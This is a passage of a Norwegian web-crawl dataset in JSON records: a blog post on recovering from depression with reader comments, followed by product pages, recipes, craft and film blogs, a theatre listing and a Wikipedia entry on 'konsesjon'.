kj\u00f8leskapsd\u00f8ra s\u00e5 b\u00f8r det v\u00e6re de ordene: Ting blir bedre. For de gj\u00f8r det. Alt som er vondt blir mindre vondt. Alt som en gang var godt blir godt igjen.\n\n  \nJeg har nevnt det f\u00f8r, men jeg nevner det igjen. For noen \u00e5r siden fikk jeg en tatovering i gave av ungene mine og kj\u00e6resten min. Og i dag st\u00e5r det skrevet p\u00e5 underarmen min: Every wall is a door. For slik er det. Og det er det viktig \u00e5 huske p\u00e5 det, n\u00e5r alt som er vondt trenger seg p\u00e5 og stjeler h\u00e5p og lys og mening.\n\n  \nI dag er det l\u00f8rdag. Jeg skal ikke bruke denne l\u00f8rdagen til noe grensesprengende. Ikke fors\u00f8ke \u00e5 ta tilbake noe av det jeg mistet i l\u00f8pet av seige uker. Men jeg kommer til \u00e5 finne glede i sm\u00e5 ting. Stelle med akvariene mine. Ta oppvasken, som har annektert kj\u00f8kkenbenken. I g\u00e5r tok jeg litt av den. De st\u00f8rste tingene. Som kjeler og plastbokser og slikt.\u00a0 I dag skal jeg ta sk\u00e5ler og bestikk, og polere toppen av komfyren. Gj\u00f8rem\u00e5l som den siste tiden har v\u00e6rt koblet bort fra alt som minner om glede eller andre gevinster.\u00a0\n\n  \nDet finnes et hav \u00e5 velge i med tanke p\u00e5 ting jeg kan gj\u00f8re i dag, men jeg trenger ikke \u00e5 gj\u00f8re alt p\u00e5 en gang. Det er nok \u00e5 ta for seg en liten ting og kjenne etter hva akkurat den tingen betyr. Som for eksempel \u00e5 sitte her og skrive blogg som noen kanskje vil lese, selv om ryggen min verker mens jeg holder p\u00e5, og jeg er st\u00f8l i beina og rumpemusklene etter \u00e5 ha st\u00e5tt p\u00e5 kne og malt et par dager n\u00e5, samt at jeg tok en kveldstur sammen med min Kj\u00e6re for to kvelder siden. \u00c5 komme seg opp av sofaen og sette i gang glemte muskler igjen, etter flere uker tilbrakt stort sett i horisontalen, har sin pris. Men \u00e5 kjenne at en lever og har en kropp er ikke det verste en kan kjenne, s\u00e5 jeg betaler med glede den prisen. Og n\u00e5 m\u00e5 jeg lage meg en ny kopp kaffe. Jeg har kj\u00f8pt meg en ny litt m\u00f8rkere og dyrere sort enn vanlig. Som en gave til meg selv. Og den skal jeg nippe til for f\u00f8rste gang n\u00e5. Den kommer til \u00e5 smake. Det vet jeg. St\u00f8rre enn det trenger ikke ting \u00e5 v\u00e6re, for samtidig \u00e5 v\u00e6re en glede.\u00a0\u00a0\n\n  \nHa en fin dag.\n\n  \nBj\u00f8rn\n\n  \nDagens link:\u00a0Ringetonen jeg har p\u00e5 telefonen min.\n\nBj\u00f8rn H\u00f8lbakken  kl. \n\n9.11.13           \n\n#### 10 kommentarer:\n\n1.  \n    \n    Annemor9. november 2013 kl. 17:21\n    \n    Nyinnkj\u00f8pt kaffe fanger alltid blikket mitt, uansett kontekst.  \n      \n    N\u00e5r depresjonen virkelig slipper taket, er det som \u00e5 f\u00e5 en innenbords sol i gave.  \n    Velkommen i gleden :)  \n    Mormorklem :)\n    \n    1.  \n        \n        Bj\u00f8rn H\u00f8lbakken10. november 2013 kl. 11:03\n        \n        Takk for det, Annemor.:)  \n          \n        Sist gang jeg hadde en virkelig tung depresjon var rundt \u00e5rhundreskiftet. Den varte i flere \u00e5r, og var langt verre enn den jeg hadde n\u00e5. Den endte opp med \u00e5 bli et veiskille og til valg som forandret livet mitt fullstendig og ga det nytt innhold og nye verdier. Men jeg husker dagene da jeg kom ut av den. Og da skrev jeg dette diktet:  \n          \n        Jeg s\u00e5  \n        ting jeg ikke har sett p\u00e5 lenge  \n        i dag  \n          \n        en helt vanlig dag  \n          \n        p\u00e5 steder jeg har sett  \n        s\u00e5 ofte  \n          \n        vakre ting  \n        nydelige  \n        kanskje bare en farge mellom tr\u00e6rne  \n          \n        eller hvor klare mine d\u00f8tres \u00f8yne er.  \n          \n        Merkelig  \n        hvor vondt det gj\u00f8r.  \n          \n        \n    2.  \n        \n        Annemor10. november 2013 kl. 11:40\n        \n        Takk for ordene dine.  \n        Jeg tar dem med meg .)\n        \n    3.  \n        \n        Bj\u00f8rn H\u00f8lbakken10. november 2013 kl. 11:51\n        \n        Selv takk, Annemor. Ha en fin dag.:)\n        \n2.  \n    \n    Birthe9. november 2013 kl. 19:40\n    \n    Jeg liker godt l\u00e5ten du har som ringetone\\!  \n    \u00c5 komme ut av en depresjon er herlig, ja - alt blir mye lysere og lettere og det en synes var vanskelig fortoner seg som muligheter istedenfor problemer. \"Every wall is a door\" - fantastisk\\!\n    \n    1.  \n        \n        Bj\u00f8rn H\u00f8lbakken10. november 2013 kl. 11:53\n        \n        Hei Birthe, og takk for tilbakemeldingen. Jeg har sendt deg en mail.  \n          \n        Ha en fin dag.:)  \n          \n        Bj\u00f8rn\n        \n3.  \n    \n    Anonym10. november 2013 kl. 01:55\n    \n    \"V\u00e5ren er vakker for den som lenge har hatt vinter.\" Bj\u00f8rnstjerne Bj\u00f8rnsen  \n      \n    Marieklem\n    \n    1.  \n        \n        Bj\u00f8rn H\u00f8lbakken10. november 2013 kl. 11:53\n        \n        S\u00e5nn er det, Marie.  \n          \n        Ha en flott s\u00f8ndag.:)  \n          \n        Bj\u00f8rn\n        \n    2.  \n        \n        Anonym10. november 2013 kl. 16:26\n        \n        God s\u00f8ndag til deg med\\! Innlegget ditt er sterkt. Diktet du har her oppe nydelig-\n        \n        Slett\n    \n    3.  \n        \n        Bj\u00f8rn H\u00f8lbakken10. november 2013 kl. 17:46\n        \n        Takk, takk, Marie. :)\n        \n", "language": "no", "__index_level_0__": "b9eb83fb-a62a-4fcc-b411-89bdc6e535dd"}
{"url": "https://www.gaveideer.no/personlig-tilpasset-stjernepute.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:42:12Z", "text": "  - \n\n# Personlig tilpasset stjernepute\n\nBli den f\u00f8rste som omtaler dette produktet\n\nDette er en vakker gaveid\u00e9 for de som verdsetter moderne og enkelt interi\u00f8r til hjemmet. Den personlige stjerneputen passer perfekt til interi\u00f8ret og skaper en koselig atmosf\u00e6re. Kombinasjonen av utvalgte ord og den myke, behagelige puten gj\u00f8r dette til en veldig personlig gave\\!\n\n  - Beskrivelse\n    ## Detaljer\n    \n    Fortsatt p\u00e5 utkikk etter en bursdagsgave til en som st\u00e5r deg n\u00e6r? Eller skal du feire et annet par eller et jubileum og \u00f8nsker gi noe personlig? Da er den personlige stjerneputen et s\u00e6rdeles godt valg\\!\n    \n    Dette koselige tilbeh\u00f8ret med den personlige skriften p\u00e5 forsiden og baksiden passer meget godt til moderne rom og \u00f8ker umiddelbart komforten i sofaen eller lenestolen. Det glatte, kule og spettede putevaret er laget i ren bomull og er sv\u00e6rt robust \u2013 slik at det myke inni putevaret beholder sin kvadratiske form i lang tid og ikke sklir. Stjerneputen er en en kj\u00e6rlig og personlig gave til mange anledninger som for eksempel bursdager, innflyttingsgave eller jubileer, og vil garantert bli satt pris p\u00e5 av mottakere som har \u00f8ye for det minimalistiske og estetiske\\!\n    \n    ### Detaljinformasjon\n    \n    **Personlig tilpasset stjernepute**\n    \n      - Tilpasset skrift\n      - M\u00e5l: 38 x 38 cm\n      - Putevar: 100% bomull (vaskbar p\u00e5 30 grader, lav temperatur).\n      - Pute: 100% polyester\n      - NB: Ikke bruk spesialtegn\\!\n\n", "language": "no", "__index_level_0__": "daf36264-03b2-44cc-8658-b1117b9a1010"}
{"url": "https://www.bangerhead.no/kerastase-resistance-soin-prem-thera-200ml-no", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:13:51Z", "text": "Om produktet *B015251* \n\nKerastase Resistance Soin Premier Th\u00e9rapiste er en forbehandlende balsam som omslutter og beskytter h\u00e5rstr\u00e5et innen h\u00e5rkur, uten \u00e5 tynge h\u00e5ret. Fornyer h\u00e5ret og gir en myk f\u00f8lelse.\u00a0  \n  \nPasser for tynt, veldig skadet og overarbeidet h\u00e5r.\u00a0\n\n|               |                      |\n| ------------- | -------------------- |\n| Produktserie: | Kerastase Resistance |\n| St\u00f8rrelse:    | 200 ml               |\n\n", "language": "no", "__index_level_0__": "6d03c475-7b80-4a46-8d96-99767594e766"}
{"url": "http://doktorproktor.no/riksteateret/om-forestillingen/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:05:06Z", "text": "Jo Nesb\u00f8 har gitt Riksteatret lov til \u00e5 lage teater av den f\u00f8rste boken i Doktor Proktor-serien, **Doktor Proktors prompepulver**. Fra h\u00f8sten 2013 kan du oppleve historien om Lise og Bulle og den litt merkelige Doktor Proktor, som har funnet opp verdens kraftigste prompepulver, p\u00e5 ditt lokale kulturhus.\n\n> \u00abAvslutningssalutten er spektakul\u00e6r\\!\u00bb\u00a0**Aftenposten**\n\nDet handler om promping. Ikke s\u00e5nne sm\u00e5 smygere du lurer ut uten at noen merker det i mattetimen. Neida. Her snakker vi kanonsmell, promper som brenner hull i buksa og sender sm\u00e5 gutter ut i verdensrommet og tilbake igjen. Og s\u00e5 handler det litt om onde tvillinger, mongolske vannrotter, lange karamellpuddinger og enda lengre kvelerslanger. Men aller mest handler det om hva som skjer n\u00e5r kn\u00f8ttlille Bulle med ildr\u00f8dt h\u00e5r flytter inn i Kanonveien og m\u00f8ter Lise og en nesten gal professor en solfylt dag like f\u00f8r 17. mai.\n\nDoktor Proktor-b\u00f8kene er solgt i over 800.000 eksemplarer i 35 ulike land.\n\n> En heidundrende promp ()vil skape mye god latter blant liten og stor.\u00bb\u00a0**VG**\n\nM\u00f8t Doktor Proktor i foajeen f\u00f8r forestillingen starter og h\u00f8r han fortelle om sine eksperimenter. Kanskje m\u00f8ter du ogs\u00e5 noen av dyrene du skulle \u00f8nske ikke fantes.****\n\n**P\u00e5 scenen:\u00a0**Ivar Nergaard, Jonas Georg Digerud, Janne Starup B\u00f8nes, Ingolf Karinen, Kai Kenneth Hanson Og Ole Christian Gullv\u00e5g.\n\n**Informasjon:\u00a0***Sjanger:*Familieforestilling.\u00a0Passer for barn fra 5 \u00e5r\n\n*Spilletid:\u00a0*2 timer (inkludert pause)\n\n*Urpremiere:\u00a0*19.09.2013 (Nydalen)\n\n*Turn\u00e9premiere:\u00a0*26.09.2013 (Molde)\n\n**Av:** Jo Nesb\u00f8. Dramatisert av Morten Joachim, Ane Skumsvoll og Ivar Nergaard.\n\n**Team:\u00a0**Av Jo Nesb\u00f8. Dramatisert av Morten Joachim, Ane Skumsvoll og Ivar Nergaard. Regi: Morten Joachim. Scenografi: Stephan Weber. Kostymedesign: Kathrine Tolo. Lysdesign: Joakim Moe R\u00f8island. Komponist/musiker: Ole J\u00f8rn Myklebust. Dramaturg: Tine Thomassen. Produsent: Christian Venge.\n\n**Priser** (eks bill avg)**:\u00a0**Ordin\u00e6r: 220,-\u00a0Grupperabatt (4+): 170,-.\n\n", "language": "no", "__index_level_0__": "ab8364f1-1565-401b-880b-67af43b54121"}
{"url": "http://dating-adventure.com/sjekke-jenter-video/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:11:11Z", "text": "## Sjekke jenter (video)\n\n# Sjekke jenter (video)\n\n\u00a0\n\nP\u00e5 disse to videoene l\u00e6rer jeg deg 4 sv\u00e6rt effektive egenskaper/teknikker som gj\u00f8r deg deg attraktiv for jenter. Blikkontakt, ber\u00f8ring, valg av riktig samtaleemner og hvordan du styrer samtalen uten og g\u00e5 tom for ting \u00e5 si.\n\nAv Espen Korsvik\n\n\u00a0\n# Vi l\u00e6rer deg sjekkeferdighetene som fungerer p\u00e5 jenter\\!  \n\n\n\n# **3-dagers live sjekkekurs**\n\nV\u00e5rt 3- dagers helgekurs l\u00e6rer deg alle ferdighetene du trenger for \u00e5 kunne tiltrekke deg de attraktive jentene du \u00f8nsker \u00e5 ha i livet ditt. Kurset best\u00e5r av 10 timer teori og 10 timer praksis.  \n\n\n\n\n# **Nettbasert sjekkekurs**\n\nKurset har hjulpet flere tusen menn i \u00e5 mestre sjekkekunsten. 31 oppl\u00e6ringsvideoer l\u00e6rer deg systematisk alle ferdighetene som gj\u00f8r deg attraktiv for jenter.   \n\n\n\n\n# **Nettbasert selvtillitskurs**\n\nKurset best\u00e5r av 10 oppl\u00e6ringsvideoer med 10 tilh\u00f8rende mentale og praktiske oppgaver som hjelper deg \u00e5 f\u00e5 den selvtilliten du alltid har \u00f8nsket \u00e5 ha i sosiale omgivelser.  \n\n\n\u00a0\n\nmars 4th, 2015|\n\n", "language": "no", "__index_level_0__": "f7b66357-8477-4305-87c0-b7fdabe1aedf"}
{"url": "http://godtsuntogbillig.blogspot.com/2015/06/melkesyret-granskudd.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:30:53Z", "text": "## 3\\. jun. 2015\n\n### Melkesyregj\u00e6ring av Granskudd\n\nJulekvelden er her ;-)  \n...neida men grantr\u00e6rne har nye skudd og de er kjempegode\\!\\!\\!  \nRene pakkedrysset hihi  \n  \nN\u00e5r man flytter til utlandet er det en masse ting som blir forandret,  \nfra spisevaner til ja , n\u00e5r blomster blomstrer f.eks.  \n  \nSiden det meste er ett par m\u00e5neder tidligere her i syd Frankrike har jeg sett etter granskudd tidlig p\u00e5 v\u00e5ren, men de dukker liksom ikke opp, h\u00f8res litt sn\u00e5lt ut, men jeg f\u00e5r jo si at det ikke er grantr\u00e6r rundt hver sving heller s\u00e5 det er ikke som om jeg ser det hver dag da... s\u00e5 tilfeldighvis i g\u00e5r s\u00e5 kom jeg over et stort grantre med fullt av lysegr\u00f8nne skudd,  \nvakkert \\!\\!\\!  \n\\-bare elsker den gr\u00f8nnfargen ;-)  \n  \nN\u00e5 kan man ikke bare plukke det man vil hvor man vil ,  \nmen siden det var ganske usynlig fra bostanden og jeg hvet at de som eier det lille stykket jord ikke bord her eller kommer hit s\u00e5 tok jeg mot til meg og plukket skuddene som hang utover veien, noen m\u00e5 snart beskj\u00e6re der uansett hehe  \n...og tror jammen jeg skal ta en tur til i dag f\u00e6r de er helt sprunget ut,  \ngranskudd er godt \u00e5 tygge p\u00e5 proppfullt av bl.a. C-vitaminer og godt for kroppen.  \n  \nLes mer HER p\u00e5 urtekilden.  \n  \nGranskudd kan spises r\u00e5, legges i olje, stekes, kokes, treke til te, t\u00f8rkes til urtelageret..  \n...og ikke minst kan de melkesyregj\u00e6res,  \nslik bevarer du c-vitaminet og de andre gode stoffene.  \n  \n.  \n\n\n\n  \n***Melkesyregj\u00e6ring av Granskudd***  \n  \n***granskudd***  \n***salt***  \n***vann***  \n  \n***syltet\u00f8yglass med strikk***  \n  \n*Kok opp og avkj\u00f8l vann, r\u00f8r inn ca 20 g ekte salt til en liter vann.*  \n*Ha granskudd (vasket \u00a0og dryppt\u00f8rret) i glasset.*  \n*Tilsett eventuelt krydder du \u00f8nsker (pepper, korianderfr\u00f8...)*  \n*Fyll p\u00e5 saltvannet til ca 1-2 cm fra kanten,*  \n*Ha p\u00e5 strikk og lukk igjen,*  \n*la st\u00e5 i romtemperatur mens den fermenteres,*  \n*deretter kan du sette glasset i kjeller e.l.*  \n*(helst under 20 grader).*  \n  \n\n\n\n  \nVed bruk kan de spises som de er som tilbeh\u00f8r,  \nhas i salat,  \ngryter, pateer etc.  \n  \n***Lykke til i granskuddjakta \u00a0:-)***  \n  \n.\n*En enkel m\u00e5te \u00e5 f\u00f8lge bloggen p\u00e5 er \u00e5:*\n\n*-alle nye innlegg blir satt opp der...*\n\n***P\u00e5 forh\u00e5nd takk og jeg liker og f\u00f8lger selvf\u00f8lgelig tilbake ;-)***  \n***  \n****.***\n\nHege Nitteberg  at \n\n09:02  \n\n| Reactions: |  |\n\n        \n\n1.  \n    \n    Elisabeth Nitteberg3. juni 2015 kl. 09:31\n    \n    Ja, vi har akkurat plukket granskudd p\u00e5 Byglandsfjord, men vi har forel\u00f8pig frosset dem, foruten de vi spiser som de er, eller har i salaten. Skal fors\u00f8ke fermentering.\n    \n    1.  \n        \n        Hege Nitteberg3. juni 2015 kl. 14:55\n        \n        Slik blir de enda sunnere, men forandrer smaken litt. For\u00f8vrig utrolig godt og god ide \u00e5 fryse ned \\!  \n          \n        Ha en fin dag :-)\n        \n...til stor glede for bloggforfatteren :-)  \n\n", "language": "no", "__index_level_0__": "f05946ac-5a50-4fc6-8627-2911fa976144"}
{"url": "http://hilderk.blogspot.com/2015/12/julekort.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00016.warc.gz", "warc_date": "2018-03-24T23:24:13Z", "text": "## tirsdag 29. desember 2015\n\n### Julekort\n\nNoen av julekortene for 2015\n\nEr ikke alltid like flink \u00e5 huske \u00e5 fotografere f\u00f8r det gis bort.....\n\n\n\nNydelige motiver fra kort og godt\n\n  \n\n\n  \n\n\n  \n\n\nElevene m\u00e5tte jo ogs\u00e5 f\u00e5 ett julekort, og det samme m\u00e5tte gode kollegaer.\u00a0\n\n Lagt inn av  \n\nHilde Kvalv\u00e5g  kl. \n\n18:53              \n\n\n", "language": "no", "__index_level_0__": "0aaf58ce-cd4b-47b6-915f-5ce40b43f354"}
{"url": "http://sisselsdallogdill.blogspot.com/2013/02/bursdag.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00682.warc.gz", "warc_date": "2018-03-24T23:45:27Z", "text": " \n\n   Velkommen til bloggen min\\! :-)  \n  \n S\u00e5 hyggelig at akkurat du titter innom\\! :-)  \n  \nBle introdusert for en fantastisk \"scrappeverden\" h\u00f8sten 2010 og siden har det blitt mye papir, lim og glitter.   \n  \nOm du \"scroller\" deg nedover og titter litt rundt, vil du for det meste finne mine papirkreasjoner.  \nLager mest kort, men pr\u00f8ver meg ogs\u00e5 p\u00e5 en LO i ny og ne. Stilen min tror jeg kan kalles \"hummer\\&kanari\".   \n  \nStorkoser meg med denne hobbyen som har uante muligheter for utfoldelse p\u00e5 det kreative plan.  \nLiker ogs\u00e5 \u00e5 strikke og hekle... s\u00e5 kanskje ikke alt som kommer her er av papir\\! :-)  \n  \nBlir veldig glad om du legger igjen en liten kommentar.  \n Ha en riktig fin dag\\!  \n\n    \n\n## fredag 1. februar 2013\n\n### Bursdag\n\n\u00a0Har meldt meg p\u00e5 Anonyme Timesglass utfordringen.\n\n1\\. oppgave er maling og glitter og minst 10 diamanter/perler.\n\n  \n\nHar laget et bursdagskort med de nydelige arkene fra Prima.\n\nDe er egentlig s\u00e5 fine og fulle av detaljer at det er vanskelig \u00e5 bruke dem\\!\n\n  \nPrima ark, gr\u00e5papir, gammel bokside, osteklut, punch MS,\n\nstempel Kreativ Hobby, blomster og perler Kort og Godt.\n\n\u00a0Hvit acrylmaling p\u00e5 hj\u00f8rner og p\u00e5 bilde, glitterlim silver.\n\n  \n\n\n  \n\n\n  \n#### 6 kommentarer:\n\n1.  \n    \n    Sissel1. februar 2013 kl. 22:22\n    \n    Kjempelekkert, nydelige ark og pynting.  \n    Klem Sissel\n    \n2.  \n    \n    Gitte2. februar 2013 kl. 10:50\n    \n    Super smukt kort.  \n    Tusind tak for at du deltager hos card and Scrap.  \n    Gitte.\n    \n3.  \n    \n    Renlymats World of Family & Crafts3. februar 2013 kl. 03:35\n    \n    The cheesecloth is so pretty against all of your designer paper choices. This is beautiful\\! Thanks for playing in the Sugar Creek Hollow Vintage Lots of Layers challenge\\! See you again soon. Renee\n    \n4.  \n    \n    nedergaard3. februar 2013 kl. 10:20\n    \n    Hvor er det smukt... l\u00e6kre detaljer og s\u00e5 fint med malingen.  \n    Ha en god dag, klemm  \n      \n    Tak fordi du deltager i vores udfordring  \n    Hilsen Lissy  \n    DT medlem Card and Scrap\n    \n5.  \n    \n    Linda4. februar 2013 kl. 09:01\n    \n    Flott kort, delikat pyntet :)  \n      \n    Takk for at du scrapper med NSHK\n    \n6.  \n    \n    Sylvia4. februar 2013 kl. 09:41\n    \n    Lekkert kort i v\u00e5rlige friske farger.  \n      \n    Takk for at du deltar.  \n      \n    Sylvia  \n    DT NSHK\n    \n## Om meg\n\n\n\n  - Sissel  \n    Godt voksen, mor til to, sykepleier og l\u00e6rer. Ble h\u00f8sten 2010 bitt av \"papirbasillen\"... som viser seg \u00e5 v\u00e6re en kronisk, uhelbredelig tilstand\\!\n\n## Jeg vant\\! :)\n## Jeg ble topp 4 :))\n\n    \n", "language": "no", "__index_level_0__": "eace62eb-71ef-41aa-86ec-a65d1efc86a4"}
{"url": "http://montages.no/2009/06/helgas-flashback-6/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:19:00Z", "text": "# *Distant Voices Still Lives*\n\nAv Eirik Smidesang Sl\u00e5en 20. juni 2009\n\n\"..I get the blues when it's raining  \nThe blues I can't lose when it rains  \nNow each little raindrop  \nFalls on my window pane  \nReminds me of the tears I shed  \nThe tears were all in vain  \nSo I sit and wait for the sun to shine  \nTo shine all my blues away  \nIt rained when I met you  \nAnd it rained when I lost you  \nSo I get the blues when it rains..\"\n\n\"..There's a man  \nGoing round  \nThere's a man going round  \nTaking names..\"\n\n1.   Truls Foss sier:\n    \n    5\\. mars 2010, kl. 13:37\n    \n    Et skj\u00f8rt og vakkert mesterverk av Terence Davies. Synes The Long Day Closes kanskje ble litt for mye av det gode (,men for all del en veldig god film). F\u00e5 filmer som f\u00e5r meg i et s\u00e5 nostalgisk hum\u00f8r som denne. Koselig at dere hadde den p\u00e5 flachback\\!\n    \n2.   ScallyStian sier:\n    \n    12\\. januar 2011, kl. 02:08\n    \n    Duverden\\! Om det var slik at man m\u00e5tte sette en film p\u00e5 verdens topp? Da blir Distant Voices, Still Lives mitt klare valg. Storslagen film om nederste dal av et Liverpool med fattigdom og harde k\u00e5r. Musikken setter en slik str\u00e5lende f\u00f8ring p\u00e5 det hele, s\u00e5 om man har sett den her? S\u00e5 vil det hele forme seg som et mesterstykke til hjerte. R\u00e5 skildring av dengang da som jeg unner alle \u00e5 se. Takk til Terence Davies, og takk for alt til Mr. Postlethwaite.\n    \n## Topp 5: Owen Wilson-roller\n", "language": "no", "__index_level_0__": "7336fe4a-6db6-459c-803d-0914f698de2a"}
{"url": "http://dagensnytt.com/farens-elleville-dans-sammen-med-dotrene-tar-internett-med-storm/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:13:10Z", "text": "# Farens elleville dans sammen med d\u00f8trene tar Internett med storm\n\nSteve Haddad fra Michigan i USA, er en mann som hverken tar seg selv veldig seri\u00f8st eller sliter med selvtilliten. Kona hans, Tina, har nemlig delt en video av mannen sin som har en dansekonkurranse med d\u00f8trene sine, som har f\u00e5tt hele verden til \u00e5 bryte ut i latter.\n\nSteve og d\u00f8trene danser til Beyonce sin hit \u00abSingle Ladies\u00bb, og har til og med kledd seg likt som sangstjernen. Og det beste er kanskje at Steve ikke holder igjen i det hele tatt \u2013 han gir virkelig alt\\!\n\nHan har hoftebevegelsene p\u00e5 plass, og at videoen har blitt sett mer en 21 millioner ganger etter at den ble lagt ut p\u00e5 Facebook, sier sitt\\!\n\n**Se videoen her, og DEL den gjerne med dine venner p\u00e5 Facebook om du f\u00e5r deg en latter\\!**\n\n  \n", "language": "no", "__index_level_0__": "a8352167-bfa2-4fe9-86a6-c43c48f4f019"}
{"url": "https://veganeren.com/2011/04/rask-bnne-og-plsegryte/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:42:36Z", "text": "# Rask b\u00f8nne- og p\u00f8lsegryte\n\nWritten by Cathrine Ottesen on april 27, 2011  in B\u00f8nner og linser, Burgere, boller, p\u00f8lser og karbonader, Hovedretter, Supper og gryteretter\n\nDette kan nesten kalles n\u00f8dmat. Jeg kom sulten hjem fra senvakt p\u00e5 jobb og visste ikke hva jeg skulle lage. Fant en boks b\u00f8nner i skuffen og hadde noen soyap\u00f8lser som m\u00e5tte brukes opp, og det var litt wokblanding igjen fra middagen mannen min hadde laget f\u00f8r jeg kom hjem. Det ble ikke s\u00e5 aller verst.\n\n1 boks b\u00f8nner i tomatsaus  \n1/3 pose wokblanding eller lignende  \nEt par tofup\u00f8lser (jeg brukte noen r\u00f8de sm\u00e5 fra Viana)\n\nSkj\u00e6r p\u00f8lsene i skiver og stek dem sammen med wokblandingen. Hell over b\u00f8nneboksen og la alt bli varmt. Ferdig\\! Server feks. med br\u00f8d.\n\n\n\n", "language": "no", "__index_level_0__": "5c4df66d-7d52-4398-b2a9-57b3ec73cb2e"}
{"url": "https://www.proffnorge.no/strekkfilm-20my-45cm-transp-", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:57:59Z", "text": "  - \n\n# Strekkfilm\n\nKr. 85,- eks mva ved kj\u00f8p av 6 ruller. Avregnes ved fakturering.\n\n  - Beskrivelse\n  - Spesifikasjoner\n\nTransparent strekkfilm i klar plast. Ideell til rask innpakking og gir utmerket beskyttelse. Filmen hefter mot seg selv, ikke mot produktene. Hefter bedre enn tape. Beskytter paller mot fuktighet, forskyvning og i \u00e5 falle fra hverandre. Stor elastisitet og bestandighet overfor stikke- og riveskader.\n\n|              |             |\n| ------------ | ----------- |\n| **Antall**   | 1 stk       |\n| **Bredde**   | 45          |\n| **Lengde**   | 300 meter   |\n| **Tykkelse** | 20          |\n| **Farge**    | Transparent |\n\n", "language": "no", "__index_level_0__": "159ea8fa-b957-42c9-86c5-8caa563832ba"}
{"url": "https://h-shop.no/butikk/senco/skrumaskiner-1", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:37:38Z", "text": "# Skrumaskiner\n\nSencos skrumaskiner, med sitt patents\u00f8kte hj\u00f8rnesystem, er produsert etter h\u00f8ye krav til kvalitet og sikkerhet, med fagpersoner i tankene. Skrumaskinene gj\u00f8r jobben langt mer effektivt sammenlignet med de klassiske drillene, og kan brukes p\u00e5 n\u00e6r sagt all slags materiale. Den ergonomiske utformingen gj\u00f8r at du kommer lett til i kriker og kroker som ellers ville v\u00e6rt frustrerende?\u00a0Ta gjerne kontakt for mer informasjon om skrumaskiner.\n\n\u00a0\n## Skrumaskiner\n\n\n\n", "language": "no", "__index_level_0__": "77610196-9841-4391-b3b5-10f11050c43c"}
{"url": "https://no.wikipedia.org/wiki/Konsesjon", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:27:19Z", "text": "# Konsesjon\n\n**Konsesjon** (av latin: *concessio* = \u00abinnr\u00f8mmelse\u00bb, \u00abtillatelse\u00bb) betegner i norsk og andre lands rett en tillatelse fra offentlig myndighet til \u00e5 gj\u00f8re noe. Andre ord for konsesjon er tillatelse, bevilling, l\u00f8yve, autorisasjon, lisens og dispensasjon. I det offentlige betyr dette at man f\u00e5r lov til \u00e5 gj\u00f8re noe som i utgangspunktet ikke er tillatt for alle. Hvilket ord som velges avhenger av hvilket ord som er brukt i den loven det gis en tillatelse etter.\n\n*Lisens* har en videre betydning enn konsesjon og brukes utenfor det offentlige eksempelvis om en tillatelse som privatpersoner eller organisasjoner gir andre som til \u00e5 bruke opphavsrettslig beskyttet eller patentbeskyttet materiale.\n\nKonsesjon kan ogs\u00e5 brukes i videre betydning n\u00e5r noen *innr\u00f8mmer* noe (f.eks. \u00abvedtaket var en klar konsesjon til venstrefl\u00f8yen i partiet.\u00bb) Man kan innr\u00f8mme noen en tillatelse, og i videre betydning kan man innr\u00f8mme at de har rett i sin p\u00e5stand. N\u00e5r man innr\u00f8mmer at noen har rett i det de sier oppst\u00e5r det ikke n\u00f8dvendigvis en rettighet slik det g\u00f8r n\u00e5r det offentlige innr\u00f8mmer en tillatelse.\n\n*Bevilling* og *bevilgning* ligger lydlig n\u00e6r hverandre og forveksles derfor ofte. Bevilling er en innr\u00f8mmelse av lov til \u00e5 foreta seg noe. Bevilgning er en innr\u00f8mmelse av lov til \u00e5 bruke penger til noe. Bevilgninger gj\u00f8res gjerne i form av budsjett, som for eksempel statsbudsjettet. Det offentlige kan gi bevilling og bevilgning samtidig. Bevilling, lisens og autorisasjon kan bety lov til \u00e5 ut\u00f8ve et bestemt yrke; for eksempel gis advokater bevilling, mens helsepersonell f\u00e5r lisens eller autorisasjon.\n\nDet kan stilles vilk\u00e5r (betingelser) n\u00e5r det gis en tillatelse, se forvaltningsrett.\n\nDet \u00e5 tilta seg en rett som krever tillatelse er som regel forbundet med sanksjoner og er oftest straffbare.\n\n## Innhold\n\n  - 1 Eksempler p\u00e5 bruk av forskjellige ord for tillatelser i norsk rett\n      - 1.1 Konsesjon\n      - 1.2 Bevilling\n      - 1.3 L\u00f8yve\n      - 1.4 Lisens\n      - 1.5 Tillatelse\n  - 2 Kilder\n", "language": "no", "__index_level_0__": 